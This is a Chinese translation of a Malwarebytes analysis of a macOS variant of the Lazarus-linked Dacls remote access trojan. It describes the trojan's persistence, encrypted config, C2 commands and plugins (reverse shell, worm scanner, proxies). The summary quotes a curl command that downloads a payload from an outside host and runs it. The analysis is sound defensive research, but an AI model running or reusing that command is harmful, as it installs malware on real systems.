Malwarebytes研究人员近期发现了一款与朝鲜Lazarus组织相关的Dacls Remote Access Trojan (RAT)变种,攻击目标是mac操作系统。Dacls是奇虎360去年12月发现的一款攻击Windows和Linux平台的远程访问木马。
发现
4月8日,研究人员发现了一个提交到VirusTotal的恶意Mac应用样本——TinkaOTP。当时没有任何杀毒软件检测出来。恶意可执行文件位于应用的Contents/Resources/Base.lproj/ 目录中,伪装成一个nib文件(SubMenu.nib),事实上是一个Mac可执行文件。其中含有字符串“c_2910.cls”和 “k_3872.cls”,这是证书文件和私钥文件的名字。
驻留
这款RAT 是通过LaunchDaemons 或 LaunchAgents实现驻留的,具体是通过在plist 文件中指定系统重启后要执行的应用。LaunchAgents 和LaunchDaemons的区别是:LaunchAgents以登陆用户的名义运行代码,而LaunchDaemon以root用户运行代码。
恶意应用启动后,会在Library/LaunchDaemons 目录下创建一个名为com.aex-loop.agent.plist 的plist 文件。Plist文件的内容是硬编码在应用中的。
程序会检查“getpwuid( getuid()) 是否会返回当前进程的用户id。如果返回了用户id,就在LaunchAgents 目录Library/LaunchAgents/ 下创建plist文件“com.aex-loop.agent.plist”。
图 1: Plist文件
保存plist 文件的文件名和目录是十六进制格式的。下面是文件名和目录生成代码:
图 2: 目录和文件名生成
Config文件
Config文件中含有与受害者机器相关的信息,如Puid、Pwuid、插件和C2服务器。Config文件的内容是用AES加密算法加密的。
图 3: 加载config文件
Mac和Linux变种都使用了相同的AES key和IV(初始向量)来加密和解密config文件。这两类变种使用的AES 模式都是CBC。
图 4: AES key和IV(初始向量)
Config文件位置和文件名都在代码中以十六进制形式保存的。Config文件名伪装称一个与apple store相关的数据库文件:“Library/Caches/Com.apple.appstore.db”。
图 5: Config文件名
函数 “IntializeConfiguration”会用下面硬编码的C2服务器来初始化配置文件:
图 6: 初始化config文件
Config文件会根据从C2服务器接收到的命令定期更新。安装后的应用名为mina,该命名来源于一款macOS平台的双因子认证app——MinaOTP应用。
图 7: Config文件更新
主循环
在初始化config文件后,会执行主循环来执行以下4个主命令:
· 0x601:将config文件中的C2服务器信息更新到服务器
· 0x602:从服务器下载config文件内容,更新config文件
· 0x700:通过调用getbasicinfo 函数将来自受害者机器的信息上传
· 0x900:发送心跳信息
命令代码与Linux.dacls是相同的。
图 8: 主循环
插件
Mac RAT变种中有6个插件,而Linux变种中多了一个名为SOCKS的插件。该新插件的作用是代理受害者到C2服务器的网络流量。
该app在主循环开始时加载了7个插件。每个插件在config文件中都有对应的配置区域,配置内容在插件初始化后会加载。
图 9: 加载的插件
CMD插件
Cmd插件与Linux RAT中的bash插件是相似的,插件会通过提供反向shell到C2服务器来接收和执行命令。
图 10: Cmd插件
文件插件
文件插件可以读、删除、下载和搜索目录中的文件。该插件Mac和linux版本的唯一不同是mac版本不能写文件。
图 11: 文件插件
进程插件
进程插件可以kill、运行和获取进程ID、收集进程信息。
图 12: 进程插件
如果进程的/proc/%d/task 目录可以访问,插件就可以从进程中获取如下信息,其中%d是进程ID:
· 执行/proc/ %/cmdline 来获取进程的命令行参数
· 从“/proc/%d/status” 文件中获取进程名、UID、GID、PPID
测试插件
Mac和Linux变种的测试插件代码是相同的。会检查C2服务器指定的IP和端口的连接。
RP2P插件
RP2P插件是一个代理服务器,用来避免受害者到攻击者基础设施的直接通信。
图 13:反向P2P
LogSend插件
Logsend插件中含有以下3个模块:
· 检查到log服务器的连接
· 扫描网络(蠕虫扫描模块)
· 执行long run系统命令
图 14: Logsend插件
该插件还会用HTTP post请求发送收集的日志。
图 15: 用户代理
该插件中一个有趣的函数是一个蠕虫扫描器。start_worm_scan模块可以在端口8291或8292端口扫描网络子网。扫描的子网是由预定义的规则的集合决定的。下图是选定子网进行扫描的过程:
图 16: 蠕虫扫描
Socks 插件
Socks插件是添加到Mac RAT的第7个插件。与RP2P插件类似,作为主机和C2基础设施之间的一个流量中继点。使用Socks4来进行代理通信。
图 17: Socks4
网络通信
Mac RAT和Linux变种使用的C2通信是类似的。要连接到服务器,应用首先要建立一个TLS连接,然后执行beacon,最后用RC2算法加密通过SSL发送的数据。
图 18: 应用(.mina)生成的流量
图 19: TLS连接
Mac 和 Linux变种使用WolfSSL 库进行SSL通信。WolfSSL是一款开源的C语言的TLS实现,支持多个平台。该库也被多个黑客组织使用,比如Tropic Trooper就将该库用作Keyboys恶意软件。
图 20: WolfSSL
用作beacon的命令代码和Linux.dacls中使用的代码是相同的。这也确认了主机和服务器的身份。
图 21: Beconing
RC4 key是用硬编码的密钥生成的。
图 22: RC4初始化
总结
研究人员还发现了一个用下面的curl命令下载恶意payload的RAT变种:
curl -k -o ~/Library/.mina https://loneeaglerecords.com/wp-content/uploads/2020/01/images.tgz.001 > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev
研究人员相信Dcals RAT的Mac变种与韩国APT组织Lazarus(Hidden Cobra或 APT 38)有关。Mac RAT的发现表明该APT组织在不断开发其恶意软件工具集。
本文翻译自:https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/如若转载,请注明原文地址: